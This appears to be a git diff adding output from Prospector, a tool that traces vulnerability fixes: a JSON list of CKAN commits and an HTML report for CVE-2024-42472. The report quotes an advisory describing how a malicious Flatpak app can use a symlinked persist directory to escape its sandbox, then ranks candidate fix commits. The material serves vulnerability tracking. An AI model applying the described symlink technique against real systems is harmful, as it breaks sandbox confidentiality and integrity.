"repository": "https://github.com/ckan/ckan", + "timestamp": 1724226659, + "hunks": 0, + "message": "Merge branch 'dev-v2.10' into 2.10", + "changed_files": [], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [] + }, + { + "commit_id": "2f37de46256c460eabeb504563327c6e86b8e95c", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1724146096, + "hunks": 4, + "message": "Add test for convert_to_extras scenario", + "changed_files": [ + "ckanext/example_idatasetform/plugin_v5.py", + "ckanext/example_idatasetform/tests/test_example_idatasetform.py" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [] + }, + { + "commit_id": "295115b3f32d081b3b2824188b6a49a73006a3a6", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1724087529, + "hunks": 1, + "message": "simplify default_show_extras_schema", + "changed_files": [ + "ckan/logic/schema.py" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [] + }, + { + "commit_id": "dc47268069ddf514c834a24290921a6d2d28a7ab", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1724078854, + "hunks": 2, + "message": "force str in convert_to_extras too", + "changed_files": [ + "ckan/logic/converters.py" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [] + }, + { + "commit_id": "07e89bfa1baad76d3afdb5f9b889187a58b50bb3", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1724065579, + "hunks": 0, + "message": "Merge branch 'master' of github.com:ckan/ckan", + "changed_files": [], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [] + }, + { + "commit_id": "9d70d10924467b7ab3846cf83770eb06146e653b", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1724065558, + "hunks": 1, + "message": "changelog", + "changed_files": [ + "changes/8264.misc" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [] + }, + { + "commit_id": "2e0528468dd3bc0dd867798332069d2d88375385", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1724065185, + "hunks": 1, + "message": "Add the body_extra block back", + "changed_files": [ + "ckan/templates/base.html" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [] + }, + { + "commit_id": "20a46fd764ae83178a0d2010bdb227f64a86e9ae", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1724064831, + "hunks": 0, + "message": "Merge commit from fork html escape datatables cells", + "changed_files": [], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [] + }, + { + "commit_id": "037a8b4a9512cbb8a39132196f5d72f1aec417c3", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1723718885, + "hunks": 5, + "message": "Lint, changelog (cherry picked from commit c15e7a12556ec228fadbdbd562d69e3d0c3146f2)", + "changed_files": [ + "changes/8397.misc", + "ckan/cli/config.py", + "ckan/config/declaration/__init__.py", + "ckan/config/declaration/serialize.py" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "ckan-2.11.0" + ], + "matched_rules": [] + }, + { + "commit_id": "830f4fefee10234c1c903e2dd24d080555884d95", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1723800183, + "hunks": 1, + "message": "Add test case for direct non-string extras", + "changed_files": [ + "ckan/tests/logic/action/test_create.py" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [] + }, + { + "commit_id": "3ffdc55caaab10dbb10b62e75a881a9596e2c50c", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1685387263, + "hunks": 1, + "message": "remove unused import", + "changed_files": [ + "ckan/plugins/toolkit.py" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "ckan-2.10.5" + ], + "matched_rules": [] + }, + { + "commit_id": "4b52050a135bfc9a6e1b524e4e243fd707e307ac", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1723719114, + "hunks": 1, + "message": "More lenient line length setting for linting", + "changed_files": [ + ".flake8" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [] + }, + { + "commit_id": "c15e7a12556ec228fadbdbd562d69e3d0c3146f2", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1723718885, + "hunks": 5, + "message": "Lint, changelog", + "changed_files": [ + "changes/8397.misc", + "ckan/cli/config.py", + "ckan/config/declaration/__init__.py", + "ckan/config/declaration/serialize.py" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [] + }, + { + "commit_id": "d586c43b99f858a4169790854b36af9069f84ad6", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1723632716, + "hunks": 1, + "message": "Fix types", + "changed_files": [ + "ckan/lib/app_globals.py" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "ckan-2.10.5" + ], + "matched_rules": [] + }, + { + "commit_id": "3923051e92d692d3e1fe10ee03622dffea6324d2", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1712316427, + "hunks": 4, + "message": "Fix version handling in docs configuration Remove completely our own version parsing and rely on the one from packaging. Older versions of packaging used to be more lenient with our release tags (\"ckan-x.y.z\") but now they will fail. We need to remove the `ckan-` bit before parsing.", + "changed_files": [ + "doc/conf.py" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "ckan-2.10.5" + ], + "matched_rules": [] + }, + { + "commit_id": "04fc7ea09b54fda37d8364ef5911c03540de47c3", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1717529067, + "hunks": 1, + "message": "remove comma", + "changed_files": [ + "ckan/tests/logic/test_validators.py" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "ckan-2.11.0" + ], + "matched_rules": [] + }, + { + "commit_id": "55166496cdc65378bf5e7b895e2d6c904526a169", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1717528998, + "hunks": 3, + "message": "add tests, changes file", + "changed_files": [ + "changes/7723.changes", + "ckan/tests/logic/action/test_create.py", + "ckan/tests/logic/test_validators.py" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "ckan-2.11.0" + ], + "matched_rules": [] + }, + { + "commit_id": "58823d943e8b907c6abd639130f7716399818f22", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1700691616, + "hunks": 1, + "message": "remove breakpoint", + "changed_files": [ + "ckan/logic/validators.py" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "ckan-2.11.0" + ], + "matched_rules": [] + }, + { + "commit_id": "6d42e1c93e4e74813edd411025bdf15e8243bb06", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1723461806, + "hunks": 0, + "message": "Merge branch 'dev-v2.11' of github.com:ckan/ckan into dev-v2.11", + "changed_files": [], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "ckan-2.11.0" + ], + "matched_rules": [] + } + ], + "processing_statistics": { + "core": { + "git": { + "git": { + "Git": { + "create_commits": { + "execution time": [ + 0.014716709032654762 + ] + } + } + } + }, + "commit preprocessing": { + "execution time": [ + 0.6004105284810066 + ] + }, + "candidates analysis": { + "execution time": [ + 0.820071954280138 + ] + }, + "save commits to backend": { + "execution time": [ + 1.2630132008343935 + ] + }, + "execution time": [ + 4.899934267625213 + ] + }, + "rules": { + "active": [ + 17 + ], + "matches": [ + 96 + ] + }, + "LLM": { + "repository_url": { + "execution time": [ + 1.4526245836168528 + ] + }, + "commit_classification": { + "execution time": [ + 0.017231198027729988, + 0.0168464332818985, + 0.11460173688828945, + 0.41705089062452316, + 0.03072887659072876, + 0.01608401909470558, + 0.015443233773112297, + 0.014879334717988968, + 0.014940354973077774, + 0.014533022418618202 + ] + } + } + } +} \ No newline at end of file diff --git a/prospector/pipeline/reports/CVE-2024-42472_1c52c1c9-aabf-4a15-8a28-7516cb2f2321.html b/prospector/pipeline/reports/CVE-2024-42472_1c52c1c9-aabf-4a15-8a28-7516cb2f2321.html new file mode 100644 index 000000000..6218385d0 --- /dev/null +++ b/prospector/pipeline/reports/CVE-2024-42472_1c52c1c9-aabf-4a15-8a28-7516cb2f2321.html @@ -0,0 +1,8564 @@ + + + + + + + + + + + + + + + + Prospector Report + + + + +
    +
    +
    + + +

    Filters

    +

    + Use the slider to filter out lower relevance scores and the button to collapse or expand all the commits. +

    + +
    +
    + +
    +
    + +
    +
    + + + + +
    +

    Advisory Record

    + CVE-2024-42472
    +

    Flatpak is a Linux application sandboxing and distribution framework. Prior to versions 1.14.0 and 1.15.10, a malicious or compromised Flatpak app using persistent directories could access and write files outside of what it would otherwise have access to, which is an attack on integrity and confidentiality. + +When `persistent=subdir` is used in the application permissions (represented as `--persist=subdir` in the command-line interface), that means that an application which otherwise doesn't have access to the real user home directory will see an empty home directory with a writeable subdirectory `subdir`. Behind the scenes, this directory is actually a bind mount and the data is stored in the per-application directory as `~/.var/app/$APPID/subdir`. This allows existing apps that are not aware of the per-application directory to still work as intended without general home directory access. + +However, the application does have write access to the application directory `~/.var/app/$APPID` where this directory is stored. If the source directory for the `persistent`/`--persist` option is replaced by a symlink, then the next time the application is started, the bind mount will follow the symlink and mount whatever it points to into the sandbox. + +Partial protection against this vulnerability can be provided by patching Flatpak using the patches in commits ceec2ffc and 98f79773. However, this leaves a race condition that could be exploited by two instances of a malicious app running in parallel. Closing the race condition requires updating or patching the version of bubblewrap that is used by Flatpak to add the new `--bind-fd` option using the patch and then patching Flatpak to use it. If Flatpak has been configured at build-time with `-Dsystem_bubblewrap=bwrap` (1.15.x) or `--with-system-bubblewrap=bwrap` (1.14.x or older), or a similar option, then the version of bubblewrap that needs to be patched is a system copy that is distributed separately, typically `/usr/bin/bwrap`. This configuration is the one that is typically used in Linux distributions. If Flatpak has been configured at build-time with `-Dsystem_bubblewrap=` (1.15.x) or with `--without-system-bubblewrap` (1.14.x or older), then it is the bundled version of bubblewrap that is included with Flatpak that must be patched. This is typically installed as `/usr/libexec/flatpak-bwrap`. This configuration is the default when building from source code. + +For the 1.14.x stable branch, these changes are included in Flatpak 1.14.10. The bundled version of bubblewrap included in this release has been updated to 0.6.3. For the 1.15.x development branch, these changes are included in Flatpak 1.15.10. The bundled version of bubblewrap in this release is a Meson "wrap" subproject, which has been updated to 0.10.0. The 1.12.x and 1.10.x branches will not be updated for this vulnerability. Long-term support OS distributions should backport the individual changes into their versions of Flatpak and bubblewrap, or update to newer versions if their stability policy allows it. As a workaround, avoid using applications using the `persistent` (`--persist`) permission.

    + + +
    Possible relevant files/methods
    +

    +

      + +
    • $APPID
    • + +
    • bind-fd
    • + +
    • build-time
    • + +
    • command-line
    • + +
    • Dsystem_bubblewrap
    • + +
    • Dsystem_bubblewrap=bwrap
    • + +
    • flatpak-bwrap
    • + +
    • Long-term
    • + +
    • per-application
    • + +
    • with-system-bubblewrap=bwrap
    • + +
    • without-system-bubblewrap
    • + +
    +

    + + +
    Other relevant keywords
    +

    + +

  • 98f79773
  • + + +
  • access
  • + + +
  • allow
  • + + +
  • application
  • + + +
  • attack
  • + + +
  • avoid
  • + + +
  • backport
  • + + +
  • bind
  • + + +
  • branch
  • + + +
  • bubblewrap
  • + + +
  • build
  • + + +
  • bwrap
  • + + +
  • ceec2ffc
  • + + +
  • change
  • + + +
  • close
  • + + +
  • code
  • + + +
  • command
  • + + +
  • commit
  • + + +
  • compromise
  • + + +
  • condition
  • + + +
  • confidentiality
  • + + +
  • configuration
  • + + +
  • configure
  • + + +
  • copy
  • + + +
  • datum
  • + + +
  • default
  • + + +
  • development
  • + + +
  • directory
  • + + +
  • distribute
  • + + +
  • distribution
  • + + +
  • exist
  • + + +
  • exploit
  • + + +
  • file
  • + + +
  • flatpak
  • + + +
  • follow
  • + + +
  • framework
  • + + +
  • have
  • + + +
  • home
  • + + +
  • include
  • + + +
  • instal
  • + + +
  • instance
  • + + +
  • integrity
  • + + +
  • intend
  • + + +
  • interface
  • + + +
  • leave
  • + + +
  • libexec
  • + + +
  • line
  • + + +
  • linux
  • + + +
  • mean
  • + + +
  • meson
  • + + +
  • mount
  • + + +
  • need
  • + + +
  • option
  • + + +
  • parallel
  • + + +
  • patch
  • + + +
  • permission
  • + + +
  • point
  • + + +
  • policy
  • + + +
  • protection
  • + + +
  • provide
  • + + +
  • race
  • + + +
  • release
  • + + +
  • replace
  • + + +
  • represent
  • + + +
  • require
  • + + +
  • sandbox
  • + + +
  • sandboxing
  • + + +
  • scene
  • + + +
  • source
  • + + +
  • stability
  • + + +
  • start
  • + + +
  • store
  • + + +
  • subdir
  • + + +
  • subdirectory
  • + + +
  • subproject
  • + + +
  • support
  • + + +
  • symlink
  • + + +
  • system
  • + + +
  • term
  • + + +
  • time
  • + + +
  • update
  • + + +
  • user
  • + + +
  • version
  • + + +
  • vulnerability
  • + + +
  • work
  • + + +
  • workaround
  • + + +
  • write
  • + + +

    + +
    + + + +
    +
    +
    Execution Statistics
    + +
    +
    +
    • core
      • git
        • git
          • Git
            • create_commits
              • execution time is a list of numbers
                • average = 0.01077865498761336 seconds
                • deviation = 0.0011609629949517956 seconds
                • median = 0.011356359347701073 seconds
                • count = 3
                • sum = 0.03233596496284008 seconds
      • commit preprocessing
        • execution time = 0.2162 seconds
      • candidates analysis
        • execution time = 0.3231 seconds
      • save commits to backend
        • execution time = 0.02379 seconds
      • execution time = 3.097 seconds
    • rules
      • active = 17 rules
      • matches = 127 matches
    • LLM
      • repository_url
        • execution time = 1.616 seconds
      • commit_classification
        • execution time is a list of numbers
          • average = 0.015187253057956696 seconds
          • deviation = 0.0007255810734610204 seconds
          • median = 0.014952042140066624 seconds
          • count = 10
          • sum = 0.15187253057956696 seconds
    +
    +
    + +
    + +
    +
    +
    +
    +

    Prospector Report

    +
    + + +
    +
    + +
    + +
    +
    +
    +
    +
    + persist directories: Pass using new bwrap --bind-fd option Instead... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 174 +
    + +
    +
    +
    + + Tag: 1.14.10 +
    +
    +
    +
    +
    + + + + COMMIT_IN_REFERENCE + + VULN_ID_IN_MESSAGE + + CHANGES_RELEVANT_CODE + + ADV_KEYWORDS_IN_MSG + + COMMIT_HAS_TWINS + + COMMIT_IS_SECURITY_RELEVANT + + +
    +
    +
    +
    + + + + +
    +
    +
    + 7c63e53bb2af0aae9097fd2edfd6a9ba9d453e97 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      This commit is mentioned 5 times in the references.
      +
    • + +
    • +
      The commit message mentions the vulnerability ID
      +
    • + +
    • +
      The commit modifies code containing relevant filename or methods: bind-fd
      +
    • + +
    • +
      The commit message and the advisory description contain the following keywords: change, bubblewrap, bwrap, require, option, version, update, replace, bind, close, start, mount, symlink
      +
    • + +
    • +
      This commit has one or more twins.
      +
    • + +
    • +
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      persist directories: Pass using new bwrap --bind-fd option Instead of passing a /proc/self/fd bind mount we use --bind-fd, which has two advantages: * bwrap closes the fd when used, so it doesn't leak into the started app * bwrap ensures that what was mounted was the passed in fd (same dev/ino), as there is a small (required) gap between symlink resolve and mount where the target path could be replaced. Please note that this change requires an updated version of bubblewrap. Resolves: CVE-2024-42472, GHSA-7hgv-f2j8-xw87 [smcv: Make whitespace consistent] Co-authored-by: Simon McVittie <smcv@collabora.com> Signed-off-by: Simon McVittie <smcv@collabora.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + common/flatpak-context.c + +
    • +
    + + +
    Commit twins
    + + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Don't follow symlinks when mounting persisted directories These... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 170 +
    + +
    +
    +
    + + Tag: 1.14.10 +
    +
    +
    +
    +
    + + + + COMMIT_IN_REFERENCE + + VULN_ID_IN_MESSAGE + + SEC_KEYWORDS_IN_MESSAGE + + ADV_KEYWORDS_IN_MSG + + COMMIT_HAS_TWINS + + COMMIT_IS_SECURITY_RELEVANT + + +
    +
    +
    +
    + + + + +
    +
    +
    + 8a18137d7e80f0575e8defabf677d81e5cc3a788 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      This commit is mentioned 5 times in the references.
      +
    • + +
    • +
      The commit message mentions the vulnerability ID
      +
    • + +
    • +
      The commit message contains some security-related keywords: vulnerability, malicious
      +
    • + +
    • +
      The commit message and the advisory description contain the following keywords: time, distribution, follow, change, bubblewrap, provide, file, commit, compromise, work, vulnerability, access, allow, avoid, application, instance, mount, symlink
      +
    • + +
    • +
      This commit has one or more twins.
      +
    • + +
    • +
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Don't follow symlinks when mounting persisted directories These directories are in a location under application control, so we can't trust them to not be a symlink outside of the files accessibe to the application. Continue to treat --persist=/foo as --persist=foo for backwards compat, since this is how it (accidentally) worked before, but print a warning. Don't allow ".." elements in persist paths: these would not be useful anyway, and are unlikely to be in use, however they could potentially be used to confuse the persist path handling. This partially addresses CVE-2024-42472. If only one instance of the malicious or compromised app is run at a time, the vulnerability is avoided. If two instances can run concurrently, there is a time-of-check/time-of-use issue remaining, which can only be resolved with changes to bubblewrap; this will be resolved in a separate commit, because the bubblewrap dependency might be more difficult to provide in LTS distributions. Helps: CVE-2024-42472, GHSA-7hgv-f2j8-xw87 [smcv: Make whitespace consistent] [smcv: Use g_warning() if unable to create --persist paths] [smcv: Use stat() to detect symlinks and warn about them] [smcv: Use glnx_steal_fd() for portability to older GLib] Co-authored-by: Simon McVittie <smcv@collabora.com> Signed-off-by: Simon McVittie <smcv@collabora.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + common/flatpak-context.c + +
    • +
    + + +
    Commit twins
    + + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Add test coverage for --persist This adds three "positive" tests:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 166 +
    + +
    +
    +
    + + Tag: 1.14.10 +
    +
    +
    +
    +
    + + + + COMMIT_IN_REFERENCE + + VULN_ID_IN_MESSAGE + + ADV_KEYWORDS_IN_MSG + + COMMIT_HAS_TWINS + + COMMIT_IS_SECURITY_RELEVANT + + +
    +
    +
    +
    + + + + +
    +
    +
    + db3a785241fda63bf53f0ec12bb519aa5210de19 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      This commit is mentioned 5 times in the references.
      +
    • + +
    • +
      The commit message mentions the vulnerability ID
      +
    • + +
    • +
      The commit message and the advisory description contain the following keywords: symlink, directory
      +
    • + +
    • +
      This commit has one or more twins.
      +
    • + +
    • +
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Add test coverage for --persist This adds three "positive" tests: the common case --persist=.persist, the deprecated spelling --persist=/.persist, and the less common special case --persist=. as used by Steam. It also adds "negative" tests for CVE-2024-42472: if the --persist directory is a symbolic link or contains path segment "..", we want that to be rejected. Reproduces: CVE-2024-42472, GHSA-7hgv-f2j8-xw87 [smcv: Add "positive" tests] [smcv: Exercise --persist=..] [smcv: Assert that --persist with a symlink produces expected message] Co-authored-by: Simon McVittie <smcv@collabora.com> Signed-off-by: Simon McVittie <smcv@collabora.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + tests/test-run.sh + +
    • +
    + + +
    Commit twins
    + + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + build: Require a version of bubblewrap with the --bind-fd option We... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 112 +
    + +
    +
    +
    + + Tag: 1.14.10 +
    +
    +
    +
    +
    + + + + VULN_ID_IN_MESSAGE + + CHANGES_RELEVANT_CODE + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + COMMIT_IS_SECURITY_RELEVANT + + +
    +
    +
    +
    + + + + +
    +
    +
    + 847dfb88cebbdf8825332730b837489684dfb91e +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message mentions the vulnerability ID
      +
    • + +
    • +
      The commit modifies code containing relevant filename or methods: bind-fd
      +
    • + +
    • +
      The commit message and the advisory description contain the following keywords: condition, distribution, option, bubblewrap, race, require, backport, version, branch, bind, subproject, close, need, build
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: subproject, bubblewrap, configure
      +
    • + +
    • +
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      build: Require a version of bubblewrap with the --bind-fd option We need this for the --bind-fd option, which will close a race condition in our solution to CVE-2024-42472. In the bundled subproject, upgrade bubblewrap to version 0.6.3, which has a backport from 0.10.0 of the required option. For this stable branch, check the --help output for a --bind-fd option instead of requiring a specific version number, to accommodate possible backports in LTS distributions. Signed-off-by: Simon McVittie <smcv@collabora.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + configure.ac + + subprojects/bubblewrap + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + build: Bump required bubblewrap version to 0.9.901 (0.10.0 rc1) We... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 104 +
    + +
    +
    +
    + + Tag: 1.15.10 +
    +
    +
    +
    +
    + + + + VULN_ID_IN_MESSAGE + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + COMMIT_IS_SECURITY_RELEVANT + + +
    +
    +
    +
    + + + + +
    +
    +
    + bb8759ea107c20bda34ae89fcf17b7bbba229399 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message mentions the vulnerability ID
      +
    • + +
    • +
      The commit message and the advisory description contain the following keywords: condition, option, bubblewrap, race, require, version, bind, close, need, build
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: meson, build, subproject, bubblewrap
      +
    • + +
    • +
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      build: Bump required bubblewrap version to 0.9.901 (0.10.0 rc1) We need this for the --bind-fd option, which will close a race condition in our solution to CVE-2024-42472. Signed-off-by: Simon McVittie <smcv@collabora.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + meson.build + + subprojects/bubblewrap.wrap + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + NEWS, configure.ac: Update for version 1.14.10 Signed-off-by: Simon... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 48 +
    + +
    +
    +
    + + Tag: 1.14.10 +
    +
    +
    +
    +
    + + + + CHANGES_RELEVANT_CODE + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + COMMIT_IS_SECURITY_RELEVANT + + +
    +
    +
    +
    + + + + +
    +
    +
    + 9ad26d7e3268a6d0f92a4b06d65ff237e44c384c +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit modifies code containing relevant filename or methods: bind-fd
      +
    • + +
    • +
      The commit message and the advisory description contain the following keywords: version, configure, update
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: configure
      +
    • + +
    • +
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      NEWS, configure.ac: Update for version 1.14.10 Signed-off-by: Simon McVittie <smcv@collabora.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + NEWS + + configure.ac + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + tests/build: Stop sharing the same environment for all tests This... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 16 +
    + +
    +
    +
    + + Tag: 1.15.10 +
    +
    +
    +
    +
    + + + + CHANGES_RELEVANT_CODE + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + +
    +
    +
    +
    + + + + +
    +
    +
    + 6519993de8ab0ec6ccdf4d8dff679d03d916360c +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit modifies code containing relevant filename or methods: flatpak-bwrap
      +
    • + +
    • +
      The commit message and the advisory description contain the following keywords: allow, build
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: meson, build
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      tests/build: Stop sharing the same environment for all tests This allows us to pass different environments to different tests.
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + tests/meson.build + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update NEWS Signed-off-by: Simon McVittie <smcv@collabora.com> + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 14 +
    + +
    +
    +
    + + Tag: 1.15.10 +
    +
    +
    +
    +
    + + + + CHANGES_RELEVANT_CODE + + ADV_KEYWORDS_IN_MSG + + COMMIT_HAS_TWINS + + +
    +
    +
    +
    + + + + +
    +
    +
    + a32f231910476bd2ebf6ad015ce72285e64dd6a4 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit modifies code containing relevant filename or methods: build-time
      +
    • + +
    • +
      The commit message and the advisory description contain the following keywords: update
      +
    • + +
    • +
      This commit has one or more twins.
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update NEWS Signed-off-by: Simon McVittie <smcv@collabora.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + NEWS + +
    • +
    + + +
    Commit twins
    + + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + run: Debug-log sources of parameters other than overrides Every time... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 12 +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + + + + RELEVANT_WORDS_IN_MESSAGE + + ADV_KEYWORDS_IN_MSG + + +
    +
    +
    +
    + + + + +
    +
    +
    + 260e4b374bae8e35aa0169669832f9e42056975f +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message contains some relevant words: command-line
      +
    • + +
    • +
      The commit message and the advisory description contain the following keywords: time, option, line, sandbox, source, command, sandboxing
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      run: Debug-log sources of parameters other than overrides Every time we load something into the context, debug-log what it was. Again, the more involved parts of this are skipped if debug logging is disabled. This will help to diagnose what is going on if the app metadata or the command-line options are setting sandboxing parameters that break an app. Signed-off-by: Simon McVittie <smcv@collabora.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + common/flatpak-run.c + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + run: Test whether sysfs mountpoints are accessible before mounting... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 12 +
    + +
    +
    +
    + + Tag: 1.15.10 +
    +
    +
    +
    +
    + + + + RELEVANT_WORDS_IN_MESSAGE + + ADV_KEYWORDS_IN_MSG + + +
    +
    +
    +
    + + + + +
    +
    +
    + 07f55b32a5323b584e0061bf4337071603fee67b +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message contains some relevant words: command-line
      +
    • + +
    • +
      The commit message and the advisory description contain the following keywords: bwrap, subdir, file, line, sandbox, point, application, access, command, mount, permission
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      run: Test whether sysfs mountpoints are accessible before mounting them In some restrictive environments like Whonix, access to /sys/ is blocked by file permissions (chmod 0700 /sys). Previously, Flatpak would give bwrap a command-line that will fail altogether in these locked-down environments. Instead, fall back to running the app with no access to these /sys subdirectories. The application will be unable to enumerate game controllers and similar hardware devices in this situation, but that's the same limited functionality that would be seen for a non-sandboxed application. Resolves: https://github.com/flatpak/flatpak/issues/5138
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + common/flatpak-run.c + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + common: Move OCI registry manipulation into FlatpakOciRegistry This... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 12 +
    + +
    +
    +
    + + Tag: 1.15.10 +
    +
    +
    +
    +
    + + + + RELEVANT_WORDS_IN_MESSAGE + + ADV_KEYWORDS_IN_MSG + + +
    +
    +
    +
    + + + + +
    +
    +
    + 89f8f3767ad4483dc2e175a4b0a76d4067ba1937 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message contains some relevant words: build-time
      +
    • + +
    • +
      The commit message and the advisory description contain the following keywords: time, option, provide, version, mean, build
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
